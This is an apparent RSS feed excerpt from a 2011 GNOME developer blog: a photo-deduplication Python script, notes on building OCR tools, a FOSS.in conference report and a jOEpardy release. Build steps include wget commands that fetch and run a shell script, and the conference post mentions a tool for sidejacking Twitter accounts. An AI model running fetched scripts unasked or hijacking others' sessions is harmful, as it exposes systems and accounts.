	<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">termios</span>, <span style="color: #dc143c;">fcntl</span>, <span style="color: #dc143c;">sys</span>, <span style="color: #dc143c;">os</span>, <span style="color: #dc143c;">select</span>
&nbsp;
	fd = <span style="color: #dc143c;">sys</span>.<span style="color: black;">stdin</span>.<span style="color: black;">fileno</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
	oldterm = <span style="color: #dc143c;">termios</span>.<span style="color: black;">tcgetattr</span><span style="color: black;">&#40;</span>fd<span style="color: black;">&#41;</span>
	newattr = oldterm<span style="color: black;">&#91;</span>:<span style="color: black;">&#93;</span>
	newattr<span style="color: black;">&#91;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#93;</span> = newattr<span style="color: black;">&#91;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">&amp;</span> ~<span style="color: #dc143c;">termios</span>.<span style="color: black;">ICANON</span> <span style="color: #66cc66;">&amp;</span> ~<span style="color: #dc143c;">termios</span>.<span style="color: black;">ECHO</span>
	<span style="color: #dc143c;">termios</span>.<span style="color: black;">tcsetattr</span><span style="color: black;">&#40;</span>fd, <span style="color: #dc143c;">termios</span>.<span style="color: black;">TCSANOW</span>, newattr<span style="color: black;">&#41;</span>
&nbsp;
	oldflags = <span style="color: #dc143c;">fcntl</span>.<span style="color: #dc143c;">fcntl</span><span style="color: black;">&#40;</span>fd, <span style="color: #dc143c;">fcntl</span>.<span style="color: black;">F_GETFL</span><span style="color: black;">&#41;</span>
	<span style="color: #dc143c;">fcntl</span>.<span style="color: #dc143c;">fcntl</span><span style="color: black;">&#40;</span>fd, <span style="color: #dc143c;">fcntl</span>.<span style="color: black;">F_SETFL</span>, oldflags | <span style="color: #dc143c;">os</span>.<span style="color: black;">O_NONBLOCK</span><span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">print</span> prompt
&nbsp;
	decided = <span style="color: #008000;">None</span>
	<span style="color: #ff7700;font-weight:bold;">try</span>:
		<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff7700;font-weight:bold;">not</span> decided:
			r, w, e = <span style="color: #dc143c;">select</span>.<span style="color: #dc143c;">select</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span>fd<span style="color: black;">&#93;</span>, <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>, <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
			<span style="color: #ff7700;font-weight:bold;">if</span> r:
				c = <span style="color: #dc143c;">sys</span>.<span style="color: black;">stdin</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Got character&quot;</span>, <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>c<span style="color: black;">&#41;</span>
				decision_made = decisions.<span style="color: black;">get</span><span style="color: black;">&#40;</span>c, <span style="color: #008000;">None</span><span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">if</span> decision_made:
					decision_made<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
					decided = <span style="color: #008000;">True</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">finally</span>:
	    <span style="color: #dc143c;">termios</span>.<span style="color: black;">tcsetattr</span><span style="color: black;">&#40;</span>fd, <span style="color: #dc143c;">termios</span>.<span style="color: black;">TCSAFLUSH</span>, oldterm<span style="color: black;">&#41;</span>
	    <span style="color: #dc143c;">fcntl</span>.<span style="color: #dc143c;">fcntl</span><span style="color: black;">&#40;</span>fd, <span style="color: #dc143c;">fcntl</span>.<span style="color: black;">F_SETFL</span>, oldflags<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">for</span> max_of_group, picgroup <span style="color: #ff7700;font-weight:bold;">in</span> max_and_picgroups:
	<span style="color: #dc143c;">cmd</span> = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'eog'</span>, <span style="color: #483d8b;">'-n'</span><span style="color: black;">&#93;</span> + picgroup
	<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Showing %s'</span> <span style="color: #66cc66;">%</span> <span style="color: #483d8b;">', '</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>picgroup<span style="color: black;">&#41;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">def</span> delete_others<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
		to_delete = picgroup<span style="color: black;">&#91;</span>:<span style="color: black;">&#93;</span>
		to_delete.<span style="color: black;">remove</span><span style="color: black;">&#40;</span>max_of_group<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'deleting %s'</span> <span style="color: #66cc66;">%</span> <span style="color: #483d8b;">', '</span>.<span style="color: black;">join</span> <span style="color: black;">&#40;</span>to_delete<span style="color: black;">&#41;</span>
		<span style="color: black;">&#91;</span><span style="color: #dc143c;">os</span>.<span style="color: black;">unlink</span><span style="color: black;">&#40;</span>f<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> f <span style="color: #ff7700;font-weight:bold;">in</span> to_delete<span style="color: black;">&#93;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">with</span> <span style="color: #dc143c;">subprocess</span>.<span style="color: black;">Popen</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">cmd</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">as</span> p:
		decide<span style="color: black;">&#40;</span><span style="color: #483d8b;">'%s is max, delete others?'</span> <span style="color: #66cc66;">%</span> max_of_group, <span style="color: black;">&#123;</span><span style="color: #483d8b;">'y'</span>: delete_others, <span style="color: #483d8b;">'n'</span>: <span style="color: #ff7700;font-weight:bold;">lambda</span>: <span style="color: #483d8b;">''</span><span style="color: black;">&#125;</span><span style="color: black;">&#41;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2011/03/sifting-through-a-lot-of-similar-photos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OCRing a scanned book</title>
		<link>http://blogs.gnome.org/muelli/2011/02/ocring-a-scanned-book/</link>
		<comments>http://blogs.gnome.org/muelli/2011/02/ocring-a-scanned-book/#comments</comments>
		<pubDate>Thu, 10 Feb 2011 14:33:57 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[ocr]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[scan]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1467</guid>
		<description><![CDATA[I had the pleasure to use a &#8220;Bookeye&#8221; book scanner. It&#8217;s a huge device which helps scanning things like books or folders. It&#8217;s very quick and very easy to use. I got a huge PDF out of my good 100 pages that I&#8217;ve scanned. Unfortunately the light was very bright and so the scanner scanned [...]]]></description>
			<content:encoded><![CDATA[<p>I had the pleasure to use <a href="http://www.imageware.de/en/systems/book-scanner/Bookeye2WalkUpScanStation/">a &#8220;Bookeye&#8221; book scanner</a>. It&#8217;s a huge device which helps scanning things like books or folders. It&#8217;s very quick and very easy to use. I got a huge PDF out of my good 100 pages that I&#8217;ve scanned.</p>
<p>Unfortunately the light was very bright and so the scanner scanned &#8220;through&#8221; the open pages revealing the back sides of the pages. That&#8217;s not very cool and I couldn&#8217;t really dim the light or put a sheet between the Pages.<br />
Also, it doesn&#8217;t do OCR but my main point of digitalising this book was to actually have it searchable and copy&amp;pastable.</p>
<p>There seem to be multiple options to do OCR on images:</p>
<h3>tesseract</h3>
<p><a href="http://blogs.gnome.org/muelli/2009/09/engrish/">covered already</a></p>
<h3><a href="http://code.google.com/p/ocropus/">ocropus</a></h3>
<p>Apparently this is supposed to be tesseract on steroids as it can recognise text on paper and different layouts and everything.<br />
Since it&#8217;s a bit painful to compile, I&#8217;d love to share my experiences hoping that it will become useful to somebody.</p>
<p>During compilation of ocropus, you might run into issues like <a href="http://code.google.com/p/ocropus/issues/detail?id=285">this</a> or <a href="http://code.google.com/p/ocropus/issues/detail?id=284">that</a>, so be prepared to patch the code.</p>
<p><code><br />
cd /tmp/<br />
svn checkout http://iulib.googlecode.com/svn/trunk/ iulib<br />
cd iulib/<br />
./configure --prefix=/tmp/libiu-install<br />
make &amp;&amp; make install<br />
</code></p>
<p><code><br />
cd /tmp/<br />
wget http://www.leptonica.com/source/leptonlib-1.67.tar.gz -O- | tar xvzf -<br />
cd leptonlib*/<br />
./configure --prefix=/tmp/leptonica<br />
make &amp;&amp; make install<br />
</code></p>
<p><code><br />
cd /tmp/<br />
svn checkout http://ocropus.googlecode.com/svn/trunk/ ocropus<br />
# This is due to this bug: http://code.google.com/p/ocropus/issues/detail?id=283<br />
cat &gt; ~/bin/leptheaders &lt;<br />
#!/bin/sh<br />
echo /tmp/leptonica/include/leptonica/<br />
EOF<br />
chmod a+x ~/bin/leptheaders<br />
./configure --prefix=/tmp/ocropus-install --with-iulib=/tmp/libiu-install/<br />
make &amp;&amp; make install<br />
</code></p>
<pre>muelli@bigbox /tmp $ LD_LIBRARY_PATH=/tmp/ocropus-install/lib/:/tmp/leptonica/lib/ ./ocropus-install/bin/ocroscript --help
usage: ./ocropus-install/bin/ocroscript [options] [script [args]].
Available options are:
  -e stat  execute string 'stat'
  -l name  require library 'name'
  -i       enter interactive mode after executing 'script'
  -v       show version information
  --       stop handling options
  -        execute stdin and stop handling options
muelli@bigbox /tmp $
</pre>
<p>However, I can&#8217;t do anything because I <a href="http://code.google.com/p/ocropus/issues/detail?id=288">can&#8217;t make LUA load the scripts from the share/ directory of the prefix</a>. Too sad. It looked very promising.</p>
<h3><a href="http://www.cuneiform.ru/eng/index.html">Cuneiform</a></h3>
<p>This is an interesting thing. It&#8217;s a BSD licensed russian OCR software that was once one the leading tools to do OCR.<br />
Interestingly, it&#8217;s the most straight forward thing to install, compared to the other things listed here.<br />
<code><br />
bzr branch lp:cuneiform-linux<br />
cd cuneiform-linux/<br />
mkdir build<br />
cd build/<br />
cmake .. -DCMAKE_INSTALL_PREFIX=/tmp/cuneiform<br />
make<br />
make install<br />
</code></p>
<p>This is supposed to produce some sort of HTML which we can glue to a PDF with the following tool.</p>
<h3><a href="http://www.exactcode.de/site/open_source/exactimage/hocr2pdf/">hocr2pdf</a></h3>
<p>Apparently takes &#8220;HTML annotated OCR data&#8221; and bundles that, together with the image, to a PDF.</p>
<p><code><br />
cd /tmp/<br />
svn co http://svn.exactcode.de/exact-image/trunk ei<br />
cd ei/<br />
./configure --prefix=/tmp/exactimage<br />
make &amp;&amp; make install<br />
</code></p>
<p>That, however, failed for me like this:</p>
<pre>  LINK EXEC objdir/frontends/optimize2bw
/usr/bin/ld: objdir/codecs/lib.a: undefined reference to symbol 'QuantizeBuffer'
/usr/bin/ld: note: 'QuantizeBuffer' is defined in DSO /usr/lib64/libgif.so.4 so try adding it to the linker command line
/usr/lib64/libgif.so.4: could not read symbols: Invalid operation
collect2: ld returned 1 exit status
make: *** [objdir/frontends/optimize2bw] Error 1
</pre>
<p>Adding &#8220;<code>LDFLAGS += -lgif</code>&#8221; to the Makefile fixes that. I couldn&#8217;t find a bug tracker, hence I reported this issue via email but haven&#8217;t heard back yet.</p>
<p>Although the hOCR format seems to be the only option to actually know where in the file the text appears, no OCR program, except cuneiform and <a href="http://code.google.com/p/tesseract-ocr/issues/detail?id=263">tesseract with a patch</a>, seems to support it <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-sad.png' alt=':-(' class='wp-smiley' /> </p>
<h3><a href="http://gscan2pdf.sourceforge.net/">gscan2pdf</a></h3>
<p>as a full suite it can import pictures or PDFs and use a OCR program mentioned above (tesseract or gocr). The whole thing can then be saved as a PDF again.<br />
Results with gocr are not so good. I can&#8217;t really copy and paste stuff. Searching does kinda work though.</p>
<p>Using Tesseract, however, doesn&#8217;t work quite well:</p>
<pre> Tesseract Open Source OCR Engine
tesseract: unicharset.cpp:76: const UNICHAR_ID UNICHARSET::unichar_to_id(const char*, int) const: Assertion `ids.contains(unichar_repr, length)' failed.
sh: line 1:  6187 Aborted                 (core dumped) tesseract /tmp/4jZN0oNbB1/dLNBLkcjph.tif /tmp/4jZN0oNbB1/_4BdZMfGXJ -l fra
*** unhandled exception in callback:
***   Error: cannot open /tmp/4jZN0oNbB1/_4BdZMfGXJ.txt
***  ignoring at /usr/bin/gscan2pdf line 12513.
Tesseract Open Source OCR Engine
tesseract: unicharset.cpp:76: const UNICHAR_ID UNICHARSET::unichar_to_id(const char*, int) const: Assertion `ids.contains(unichar_repr, length)' failed.
sh: line 1:  6193 Aborted                 (core dumped) tesseract /tmp/4jZN0oNbB1/ELMbnDkaEI.tif /tmp/4jZN0oNbB1/C47fuqxX3S -l fra
*** unhandled exception in callback:
***   Error: cannot open /tmp/4jZN0oNbB1/C47fuqxX3S.txt
***  ignoring at /usr/bin/gscan2pdf line 12513.
</pre>
<p>It doesn&#8217;t seems to be able to work with cuneiform <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-sad.png' alt=':-(' class='wp-smiley' /> </p>
<h3><a href="http://www.archivista.ch/de/pages/downloads.php">Archivista Box</a></h3>
<p>This is actually an appliance and you can download an ISO image.<br />
Running it is straight forward:<br />
<code><br />
cd /tmp/<br />
wget  'http://downloads.sourceforge.net/project/archivista/archivista/ArchivistaBox_2010_IV/archivista_20101218.iso?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Farchivista%2F&amp;ts=1295436241&amp;use_mirror=ovh'<br />
qemu -cdrom /tmp/archivista_20101218.iso -m 786M -usb<br />
</code></p>
<p>Funnily enough, the image won&#8217;t boot with more than 786MB of RAM. Quite weird, but qemu just reports the CPU to be halted after a while. If it does work, it boots up a firefox with a nice WebUI which seems to be quite functional. However, I can&#8217;t upload my &gt;100MB PDF probably because it&#8217;s a web based thing and either the server rejects big uploads or the CGI just times out or a mixture of both.</p>
<p>Trying to root this thing is more complex than usual. Apparently you can&#8217;t give &#8220;<code>init=/bin/sh</code>&#8221; as a boot parameter as it wouldn&#8217;t make a difference. So I tried to have a look at the ISO image. There is <code>fuseiso</code> to mount ISO images in userspace. Unfortunately, <a href="http://cdemu.sourceforge.net/pkg_daemon.php">CDEmu</a> doesn&#8217;t seem to be packaged for Fedora. Not surprisingly, there was a SquashFS on that ISO9660 filesystem. Unfortunately, I didn&#8217;t find any SquashFS FUSE implementation <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-sad.png' alt=':-(' class='wp-smiley' />  But even with elevated privileges, I <a href="http://linux.derkeiler.com/Mailing-Lists/Kernel/2009-01/msg05708.html">can&#8217;t mount that thing</a> *sigh*:</p>
<pre>$ file ~/empty/live.squash
/home/muelli/empty/live.squash: Squashfs filesystem, little endian, version 3.0, 685979128 bytes, 98267 inodes, blocksize: 65536 bytes, created: Sat Dec 18 06:54:54 2010
$ sudo mount ~/empty/live.squash /tmp/empty/
mount: wrong fs type, bad option, bad superblock on /dev/loop1,
       missing codepage or helper program, or other error
       In some cases useful info is found in syslog - try
       dmesg | tail  or so
$ dmesg | tail -n 2
[342853.796364] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[342853.796726] SQUASHFS error: Major/Minor mismatch, older Squashfs 3.0 filesystems are unsupported
</pre>
<p>But <code>unsquashfs</code> helped to extract the whole thing onto my disk. They used &#8220;T2&#8243; to bundle everything to a CD and packaged software mentioned above. Unfortunately, very old versions were used, i.e. cuneiform is in version 0.4.0 as opposed to 1.0.0. Hence, I don&#8217;t really consider it to be very useful to poke around that thing.</p>
<p>It&#8217;s a huge thing worth exploring though. It all seems to come from this SVN repository: <code>svn://svn.archivista.ch/home/data/archivista/svn</code>.</p>
<h3><a href="http://www.watchocr.com">WatchOCR</a></h3>
<p>For some reason, they built an ISO image as well. Probably to run an appliance.<br />
<code><br />
cd /tmp/<br />
wget http://www.watchocr.com/files/watchocr-V0.6-2010-12-10-en.iso<br />
qemu -cdrom /tmp/watchocr-V0.6-2010-12-10-en.iso -m 1G<br />
</code></p>
<p>The image booted up a webbrowser which showed a webinterface to the WebOCR functionality.<br />
I extraced the necessary scripts which wraps tools like cuniform, ghostscript and friends. Compared to the archivista box, the scripts here are rather simple.  Please find <a href="https://muelli.cryptobitch.de/tmp/watchocr">webocr</a> and <a href="https://muelli.cryptobitch.de/tmp/img2pdf">img2pdf</a>.  They also use an old cuneiform 0.8.0 which is older than the version from Launchpad.</p>
<p>However, in my QEMU instance, the watchocr box took a very long time to process my good 100 pages PDF.</p>
<p><a href="http://blogs.gnome.org/muelli/files/2011/01/watchocr.png"><img class="aligncenter size-full wp-image-1468" title="watchocr" src="http://blogs.gnome.org/muelli/files/2011/01/watchocr.png" alt="" width="800" height="600" /></a></p>
<h3><a href="http://blog.konradvoelkel.de/2010/01/linux-ocr-and-pdf-problem-solved/">Some custom script</a></h3>
<p>That tries to do the job did in fact quite well, although it&#8217;s quite slow as well. It lacks proper support for spawning multiple commands in parallel.</p>
<p>After you have installed the dependencies like mentioned above, you can run it:<br />
<code><br />
wget http://www.konradvoelkel.de/download/pdfocr.sh<br />
PATH="/tmp/exactimage/bin/:/tmp/cuneiform/bin/:$PATH" LD_LIBRARY_PATH=/tmp/cuneiform/lib64/ sh -x pdfocr.sh buch-test-1.pdf 0 0 0 0 2500 2000 fra SomeAuthor SomeTitle<br />
</code></p>
<p>The script, however, doesn&#8217;t really work for me, probably because of some quoting issues:</p>
<pre>+ pdfjoin --fitpaper --tidy --outfile ../buch-test-1.pdf.ocr1.pdf 'pg_*.png.pdf'
          ----
  pdfjam: This is pdfjam version 2.08.
  pdfjam: Reading any site-wide or user-specific defaults...
          (none found)
  pdfjam ERROR: pg_*.png.pdf not found
</pre>
<p>Having overcome that problem, the following <code>pdfjoin</code> doesn&#8217;t work for an unknown reason. After having replaced <code>pdfjoin</code> manually, I realised, that the script sampled the pages down, made them monochrome and rotated them! Hence, no OCR was possible and the final PDF was totally unusable *sigh*.</p>
<p>It&#8217;s a mess.</p>
<h3>To conclude&#8230;</h3>
<p>I still don&#8217;t have a properly OCRd version of my scanned book, because of not very well integrated tools. I believe that programs like pdftk, imagemagick, unpaper, cuneiform, hocr2pdf, pdfjam do their job very well. But it appears that they are not very well knit together to form a useful tools to OCR a given PDF. Requirements would be, for example, that there is no loss of quality of the scanned images, that the number of programs to be called is reduced to a minimum and that everything needs to be able to do batch processing. So far, I couldn&#8217;t find anything that fulfills that requirements. If you know anything or have a few moments to bundle the necessary tools together, please tell me <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-surprise.png' alt=':o' class='wp-smiley' /> ) The necessary pieces are all there, as far as I can see. It just needs someone to integrate everything nicely.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2011/02/ocring-a-scanned-book/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FOSS.in last edition 2010</title>
		<link>http://blogs.gnome.org/muelli/2011/01/foss-in-last-edition-2010/</link>
		<comments>http://blogs.gnome.org/muelli/2011/01/foss-in-last-edition-2010/#comments</comments>
		<pubDate>Sat, 15 Jan 2011 13:06:57 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[fossin]]></category>
		<category><![CDATA[fossin2010]]></category>
		<category><![CDATA[pwnitter]]></category>
		<category><![CDATA[talk]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1450</guid>
		<description><![CDATA[I had the pleasure to be invited to FOSS.in 2010. As I was there to represent parts of GNOME I feel obliged to report what actually happened. The first day was really interesting. It was very nice to see that many people having a real interest in Free Software. It was mostly students that I [...]]]></description>
			<content:encoded><![CDATA[<p>I had the pleasure to be invited to <a href="http://foss.in/2010/">FOSS.in 2010</a>. As I was there to represent parts of GNOME I feel obliged to report what actually happened. <a href="http://foss.in/promote/banners"><img class="alignright" title="FOSS.in Logo" src="http://foss.in/wp-content/uploads/2009/11/125x125.png" alt="" width="125" height="125" /></a></p>
<p>The first day was really interesting. It was very nice to see that many people having a real interest in Free Software. It was mostly students that I have talked to and they said that Free Software was by far not an issue at colleges in India.</p>
<p>Many people queued up to register for the conference. That&#8217;s very good to see. Apparently, around 500 people showed up to share the Free Software love. the usual delays in the conference setup were there as expected <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-wink.png' alt=';-)' class='wp-smiley' />  So the opening ceremony started quite late and started, as usual, with lighting the lamp.<br />
<img class="aligncenter size-full" src="https://muelli.cryptobitch.de/pics/2010-FOSS.in/20101215_006.jpg" alt="" width="300" height="400" /></p>
<p><a href="http://danesecooper.blogs.com/divablog/">Danese</a> from the Wikimedia Foundation <a href="http://foss.in/2010/schedules/talkdetailspub.php?talkid=Hall-A-1-12:00">started the conference</a> with her keynote on the technical aspects of Wikipedia.</p>
<p>She showed that there is a lot of potential for Wikipedia in India, because so far, there was a technical language barrier in Wikipedia&#8217;s software. Also, companies like Microsoft have spent loads of time and money on wiping out a free (software) culture, hence not so many Indians got the idea of free software or free content and were simply not aware of the free availability of Wikipedia.</p>
<p>According to Danese, Wikipedia is the Top 5 website after companies like Google or Facebook. And compared to the other top websites, the Wikimedia Foundation has by far the least employees. It&#8217;s around 50, compared to the multiple tens of thousands of employees that the other companies employ. She also described the openness of Wikipedia in almost every aspect. Even the NOC is quite open to the outside world, you can supposedly <a href="http://noc.wikimedia.org/">see the network status</a>. Also, all the documentation is on the web about all the internal process so that you could learn a lot about the Foundation a lot if you wanted to.</p>
<p>She presented us several methods and technologies which help them to scale the way the Wikipedia does, as well as some very nerdy details like the Squid proxy setup or customisations they made to MySQL. They are also working on offline delivery methods because many people on the world do not have continuous internet access which makes browsing the web pretty hard.<br />
<img class="aligncenter size-full" src="https://muelli.cryptobitch.de/pics/2010-FOSS.in/20101215_008.jpg" alt="" width="400" height="300" /></p>
<p>After lunch break, <a href="http://foss.in/2010/schedules/talkdetailspub.php?talkid=Hall-A-1-14:00">Bablir Singh told us about caching in virtualised environments</a>. He introduced into a range of problems that come with virtualisation. For example the lack of memory and that all the assumption of caches that Linux makes were broken when virtualising.<br />
Basically the problem was that if a Linux guest runs on a Linux host, both of them would cache, say, the hard disk. This is, of course, not necessary and he proposed two strategies to mitigate that problem. One of them was to use a memory balloon driver and give the kernel a hint that the for the caching allocated pages should be wiped earlier.<br />
<img class="aligncenter size-full" src="https://muelli.cryptobitch.de/pics/2010-FOSS.in/20101215_009.jpg" alt="" width="400" height="300" /></p>
<p><a href="http://0pointer.de/lennart/">Lenny</a> then <a href="http://foss.in/2010/schedules/talkdetailspub.php?talkid=Hall-A-1-15:00">talked about</a> <a href="http://www.freedesktop.org/wiki/Software/systemd">systemd</a> and claimed that it was Socket Based Activation that made it so damn fast. It was inspired by Apples launchd and performs quite well.<br />
<img class="aligncenter size-full" src="https://muelli.cryptobitch.de/pics/2010-FOSS.in/20101215_011.jpg" alt="" width="300" height="400" /></p>
<p>Afterwards, I have been to the Meego room where they gave away t-shirts and Rubix-cubes. I was told a technique on how to solve the Rubix-cube and I tried to do it. I wasn&#8217;t too successful though but it&#8217;s still very interesting. I can&#8217;t recite the methods and ways to solve the cube but there are tutorials on the internet.</p>
<p><a href="http://foss.in/2010/schedules/talkdetailspub.php?talkid=Hall-A-1-18:00 ">Rahul</a> talked about failures he seen in Fedora. He claimed that Fedora was the first project to adopt a six month release cycle. He questioned whether six month is actually a good time frame. Also the governance modalities were questioned. The veto right in the Fedora Board was prone to misuse. Early websites were ugly and not very inviting. By now, the website is more appealing and should invite the audience to contribute. MoinMoin was accused of not being as good MediaWiki, simply because Wikipedia uses MediaWiki. Not a very good reasoning in my opinion.</p>
<p>I was invited to do a talk about Security and Mobile Devices (<a href="http://blogs.gnome.org/muelli/2010/09/mrmcd1001b-impressions/">again</a>). I had a very interested audience which pulled off an interesting Q&amp;A Session. People still come with questions and ideas. I just love that. You can <a href="https://muelli.cryptobitch.de/paper/2010-slides-foss.in-security-in-mobile-devices.pdf">find the slides here</a>.</p>
<p>As we are on mobile security, I wrote a <a href="http://pwnitter.garage.maemo.org/ ">tiny program</a> for my N900 to sidejack Twitter accounts. <a href="http://twitter.com/bluesmoon/statuses/14946909873504256">It&#8217;s</a> <a href="http://twitter.com/glezos/status/15394165621792769">a</a> <a href="http://twitter.com/hpnadig/statuses/14953298515730432">bit</a> <a href="http://twitter.com/SrishAkaTux/status/14955372364173312">like</a> <a href="http://twitter.com/anurag_maher/status/15287490470486016">firesheep</a>, <a href="http://twitter.com/ApurvaTripathi/status/15789274167255040">but</a> <a href="http://twitter.com/Naresh_Kamboju/status/15690943256596480">does</a> <a href="http://twitter.com/streetfi8er/status/15663530623635456">Twitter</a> <a href="http://twitter.com/anurag1008/status/15661313384521728">only</a> (<a href="http://twitter.com/mayuraparge/status/15644020906659840">for</a> <a href="http://twitter.com/brainwane/status/15395102801268736">now</a>) <a href="http://twitter.com/shreyankg/status/14961155600547840">and</a> <a href="http://twitter.com/grbharathram/status/14960648131710976">it</a> <a href="http://twitter.com/arun197/status/14959625166127104">actually</a> <a href="http://twitter.com/bsingharora/status/14955026120187904">posts</a> <a href="http://twitter.com/tuxmaniac/status/14954538637197312">a</a> <a href="http://twitter.com/ankrd/status/14951863380086784">nice</a> <a href="http://twitter.com/hpnadig/status/14953298515730432">message</a>. But I&#8217;ve also been <a href="http://twitter.com/glezos/status/15798747606810624">pnwed</a>&#8230; <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-wink.png' alt=';-)' class='wp-smiley' /> </p>
<p>But more on that in a separate post.</p>
<p><img class="aligncenter size-full" src="https://muelli.cryptobitch.de/pics/2010-FOSS.in/20101217_001.jpg" alt="" width="400" height="300" /><br />
Unfortunately, <a href="http://foss.in/news/something-you-may-want-to-read.html">the FOSS.in team announced, that this will be the last FOSS.in they organise</a>. That&#8217;s very sad because it was a lot of fun with a very interesting set of people. They claim that they are burnt out and that if one person is missing, nothing will work, because everyone knew exactly what role to take and what to do. I don&#8217;t really like this reasoning, because it reveals that the Busfactor is extremely low. This, however, should be one of the main concerns when doing community work. Hence, the team is to blame for having taken care of increasing the Busfactor and thus leading FOSS.in to a dead end. Very sad. But thanks anyway for the last FOSS.in. I am very proud of having attended it.</p>
<p><a href="http://blogs.gnome.org/muelli/files/2009/07/sponsored-badge-shadow.png"><img class="aligncenter size-full wp-image-594" title="Sponsored by GNOME!" src="http://blogs.gnome.org/muelli/files/2009/07/sponsored-badge-shadow.png" alt="" width="230" height="230" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2011/01/foss-in-last-edition-2010/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>jOEpardy released as Free Software</title>
		<link>http://blogs.gnome.org/muelli/2010/11/joepardy-released-as-free-software/</link>
		<comments>http://blogs.gnome.org/muelli/2010/11/joepardy-released-as-free-software/#comments</comments>
		<pubDate>Sun, 07 Nov 2010 03:29:34 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[hg]]></category>
		<category><![CDATA[joepardy]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1406</guid>
		<description><![CDATA[As mentioned in an earlier post, I was investigating the possibility to set jOEpardy free. It&#8217;s a Java program that let&#8217;s you hold a Jeopardy session based on a XML file. It has been used quite a few times and is pretty stable. A boatload of credits go to Triphoenix, who coded an awful lot [...]]]></description>
			<content:encoded><![CDATA[<p>As mentioned in <a href="http://blogs.gnome.org/muelli/2009/10/30/joepardy-at-easterhegg09/">an earlier post</a>, I was investigating the possibility to set jOEpardy free. It&#8217;s a Java program that let&#8217;s you hold a Jeopardy session based on a XML file. It has been used quite a few times and is pretty stable. A boatload of credits go to <a href="http://triphoenix.de/">Triphoenix</a>, who coded an awful lot without very much time, probably lacking sleep or coffee or even both. Thanks.<br />
<img class="alignright" src="http://www.gnu.org/graphics/gplv3-127x51.png" alt="" width="127" height="51" /></p>
<p>So to make the announcement: jOEpardy is GPLv3+ software (*yay*) and you can download the code via Mercurial here: <a href="https://hg.cryptobitch.de/jOEpardy">https://hg.cryptobitch.de/joepardy</a>. I don&#8217;t intend to make tarball or binary releases as I (at your option) either don&#8217;t have the time or simply don&#8217;t see a need.</p>
<p>But to actually use it, you want to have some buzzers. You could play it with a regular keyboard though. At the end of the day, you need to generate a keycodes for a &#8220;1&#8243;, a &#8220;2&#8243;, a &#8220;3&#8243; or a &#8220;4&#8243;. If you&#8217;re nerdy enough, you can get yourself an emergency button in the next hardware store and solder some tiny serial logic to it. Then you could read that serial signal and convert to X events via xtest.</p>
<p>You&#8217;ll figure smth out <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-wink.png' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2010/11/joepardy-released-as-free-software/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The beauty of a free (Maemo) handset</title>
